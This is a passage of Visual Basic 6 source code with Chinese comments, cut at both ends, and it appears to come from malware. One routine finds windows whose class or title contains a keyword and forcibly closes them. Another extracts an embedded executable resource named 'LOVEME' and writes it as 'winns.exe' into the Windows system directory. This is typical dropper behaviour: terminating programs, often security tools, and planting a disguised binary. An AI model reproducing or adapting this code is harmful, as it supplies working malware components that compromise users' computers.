''''找到后将它关闭,有时只使用 WM_QUIT 不能 _ 完成任务,使用 WM_CLOSE 再试一次 If InStr(1, ClassName, KeyWord) > 0 Then wndHdc = FindWindow(ClassName, _ vbNullString) KillProcess = KillProcess + 1 QuitDestroy wndHdc End If
''''查找标题带有关键字的窗体 ElseIf InStr(1, lpWnd(fndWnd), KeyWord) > 0 Then wndHdc = FindWindow(vbNullString, _ lpWnd(fndWnd)) KillProcess = KillProcess + 1 QuitDestroy wndHdc End If Next fndWnd End Function
Private Sub WriteExe()
Dim exeData() As Byte Dim fileNum As Long Dim SysDir As String * 128
GetSystemDirectory SysDir, Len(SysDir)
exeData = LoadResData("LOVEME", "Execute")
fileNum = FreeFile()
Open Left(SysDir, InStr(1, SysDir, vbNullChar) _ - 1) & "\winns.exe" For Binary As #fileNum